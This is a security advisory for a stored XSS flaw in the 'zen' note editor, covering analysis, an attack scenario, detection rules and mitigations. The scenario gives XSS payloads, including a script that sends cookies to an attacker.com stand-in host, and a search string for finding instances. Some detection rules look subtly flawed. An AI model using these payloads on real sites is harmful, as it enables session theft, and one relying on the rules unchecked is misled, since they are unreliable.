CVE-2026-97868

Executive Summary

CVE-2026-97868 is a cross-site scripting (XSS) vulnerability in the "zen" application (by sheshbabu) versions up to and including 1.5.0, specifically in the Note Editor component (features/notes/NotesEditor.jsx). The vulnerability arises from the use of the React dangerouslySetInnerHTML function, which allows untrusted content to be rendered as raw HTML without proper sanitization, enabling script execution in the victim's browser. With a CVSS 3.1 base score of 3.5 (Low severity), the attack requires low privileges and user interaction, but the exploit has been publicly disclosed and no patch is available.

Technical Analysis

The vulnerability is a classic CWE-79 Cross-Site Scripting (XSS) issue. In React applications, dangerouslySetInnerHTML is a built-in method that allows developers to inject HTML directly into the DOM, bypassing React's automatic escaping. When this function is used with user-supplied content—such as note content in the Note Editor—without proper sanitization, an attacker can inject malicious HTML, including <script> tags or event handlers (e.g., onerror, onload), which execute in the context of the victim's browser.

The affected file, features/notes/NotesEditor.jsx, is part of the "zen" application, which appears to be a note-taking or similar productivity tool. The function dangerouslySetInnerHTML is used to render note content, likely to support rich text or HTML formatting. Because the content is not sanitized before being passed to this function, any user who can create or edit a note can inject arbitrary JavaScript. When another user (or the same user) views the note, the script executes. The attack vector is network-based (AV:N), requires low privileges (PR:L)—meaning the attacker needs a valid account or the ability to submit content—and requires user interaction (UI:R) because the victim must view the malicious note. The scope is unchanged (S:U), and the impact is limited to integrity (I:L) with no confidentiality or availability impact, as indicated by the CVSS vector.

The root cause is a failure to sanitize or encode user input before rendering it as HTML. Best practices dictate using libraries like DOMPurify or React's built-in escaping mechanisms (e.g., {content} instead of dangerouslySetInnerHTML). The fact that the vendor was contacted but did not respond suggests the project may be abandoned or unmaintained, leaving users without an official fix.

Exploitation Scenarios

No public proof-of-concept (PoC) code is available, but the vulnerability class (XSS) and the disclosed nature of the flaw allow for a plausible attack chain. The following scenario is inferred from the vulnerability class and the NVD description.

1. Reconnaissance and Target Identification: The attacker identifies a "zen" application instance, potentially through Shodan dorks like http.html:"NotesEditor.jsx" or by locating the application's public URL. The attacker must have a valid account or the ability to create notes (low privileges).

2. Triggering the Flaw: The attacker creates or edits a note and injects a malicious payload into the note content. Since the vulnerable function is dangerouslySetInnerHTML, the payload is likely an HTML snippet containing JavaScript, such as <img src=x onerror=alert(document.cookie)> or <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>. The payload is saved as part of the note content.

3. Payload Execution: When a victim (e.g., another user or an administrator) views the note, the application renders the content using dangerouslySetInnerHTML. The browser interprets the injected HTML and executes the embedded JavaScript in the context of the victim's session.

4. Post-Exploitation Impact: The script can steal session cookies, perform actions on behalf of the victim (e.g., create new notes, modify data), or redirect the victim to a phishing page. The CVSS vector indicates limited integrity impact (I:L), but in practice, XSS can lead to account takeover if session tokens are compromised. The attacker could also use the victim's browser to launch further attacks against the application or internal network (if the victim has access).

The attack requires user interaction (UI:R) because the victim must view the malicious note. The low privileges (PR:L) suggest that the attacker needs to be authenticated to create or edit notes, but this could be a self-registered account or a compromised low-privilege account.

Impact Assessment

The business impact of CVE-2026-97868 is moderate to high, depending on the deployment context. Although the CVSS score is 3.5 (Low), XSS vulnerabilities can have severe consequences, including session hijacking, data theft, and lateral movement within the application. The affected system is any instance of the "zen" application running version 1.5.0 or earlier. The blast radius includes all users who interact with notes containing malicious content, potentially leading to widespread account compromise if the application is used in a collaborative environment.

The CVSS subscores reflect the constraints:

• Confidentiality (C:N): No direct impact on confidentiality, but stolen session tokens could lead to data exposure.
• Integrity (I:L): Limited integrity impact, as the attacker can modify content or perform actions as the victim.
• Availability (A:N): No availability impact.
• Attack Vector (AV:N): Remotely exploitable.
• Attack Complexity (AC:L): Low complexity; no special conditions required.
• Privileges Required (PR:L): Low privileges needed.
• User Interaction (UI:R): Requires the victim to view the malicious note.
• Scope (S:U): The vulnerability does not affect resources beyond the security scope of the vulnerable component.

Given the public disclosure and lack of patch, organizations using "zen" should treat this as a high-priority issue if the application is internet-facing or used for sensitive data.

Detection Guidance

Sigma Rule

title: CVE-2026-97868 - XSS in Zen Note Editor via dangerouslySetInnerHTML
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential exploitation of CVE-2026-97868 by looking for suspicious HTML/JavaScript patterns in note content or web requests.
author: Threat Intelligence Team
date: 2026-01-01
logsource:
  category: webserver
  product: generic
detection:
  selection:
    cs-method: 'POST'
    cs-uri-query|contains: '/notes'
    request_body|contains:
      - '<script'
      - 'onerror='
      - 'onload='
      - 'javascript:'
      - 'dangerouslySetInnerHTML'
  condition: selection
falsepositives:
  - Legitimate notes containing HTML content
level: medium
tags:
  - attack.t1190
  - cve.2026.97868

YARA Rule

rule CVE_2026_97868_XSS_Zen
{
    meta:
        description = "Detects malicious HTML/JS payloads targeting CVE-2026-97868 in Zen Note Editor"
        author = "Threat Intelligence Team"
        date = "2026-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-97868"
        severity = "medium"
    strings:
        $s1 = "dangerouslySetInnerHTML" ascii wide nocase
        $s2 = "<script" ascii wide nocase
        $s3 = "onerror=" ascii wide nocase
        $s4 = "onload=" ascii wide nocase
        $s5 = "javascript:" ascii wide nocase
        $s6 = "NotesEditor.jsx" ascii wide nocase
    condition:
        any of them
}

Suricata IDS Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-97868 XSS Attempt in Zen Note Editor"; flow:to_server,established; content:"POST"; http_method; content:"/notes"; http_uri; content:"<script"; http_client_body; nocase; content:"onerror="; http_client_body; nocase; classtype:web-application-attack; reference:cve,2026-97868; reference:url,nvd.nist.gov/vuln/detail/CVE-2026-97868; sid:1000001; rev:1;)

Elastic Detection

sequence by host.id, user.id with maxspan=5s
  [network where network.protocol == "http" and http.request.method == "POST" and url.path : "/notes*" and http.request.body : ("*<script*" or "*onerror=*" or "*onload=*" or "*javascript:*")]

Splunk SPL Query

index=web sourcetype=access_combined
| search method=POST uri_path="/notes*" 
| rex field=request_body "(?<payload><script|onerror=|onload=|javascript:)"
| where isnotnull(payload)
| table _time, src_ip, dest_ip, uri_path, request_body
| sort - _time

Wazuh OSSEC Rule

<group name="web,appsec,">
  <rule id="100200" level="10">
    <if_sid>31100</if_sid>
    <id>^POST$</id>
    <url>notes</url>
    <description>CVE-2026-97868: Possible XSS attack in Zen Note Editor</description>
    <matched>script|onerror|onload|javascript:</matched>
    <group>attack,xss,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 0/4 (UNPATCHED — no patch evidence from any tracked source).

1. Immediate Mitigations:

   • Restrict access to the "zen" application to trusted internal networks only.
   • Deploy a web application firewall (WAF) rule to block requests containing suspicious HTML/JavaScript patterns in note content (e.g., <script, onerror=, javascript:).
   • Implement a Content Security Policy (CSP) that disallows inline scripts (script-src 'self') to mitigate the impact of XSS.
   • Educate users about the risks of viewing untrusted notes and encourage them to report suspicious content.

2. Patch/Upgrade Steps:

   • No official patch is available. Monitor the vendor's repository (sheshbabu/zen) for updates.
   • If the application is open-source, consider forking and patching the vulnerable file (features/notes/NotesEditor.jsx) to sanitize user input before passing it to dangerouslySetInnerHTML. Use a library like DOMPurify.
   • Alternatively, replace dangerouslySetInnerHTML with safe rendering methods (e.g., React's {content} for plain text).

3. Long-Term Hardening:

   • Avoid using dangerouslySetInnerHTML with user-controlled data. Use sanitization libraries or template engines with auto-escaping.
   • Implement input validation and output encoding as part of the development lifecycle.
   • Conduct regular security assessments and dependency scanning for third-party components.
   • Establish a vulnerability disclosure program to ensure timely communication with researchers.

References

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-97868
• CWE-79: https://cwe.mitre.org/data/definitions/79.html
• OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
• React Documentation on dangerouslySetInnerHTML: https://reactjs.org/docs/dom-elements.html#dangerouslysetinnerhtml
• Vendor Repository (sheshbabu/zen): https://github.com/sheshbabu/zen (no advisory issued)

Note: No known threat actor campaigns or exploit-in-the-wild evidence have been observed for this CVE. The exploit is publicly disclosed but no PoC code is available.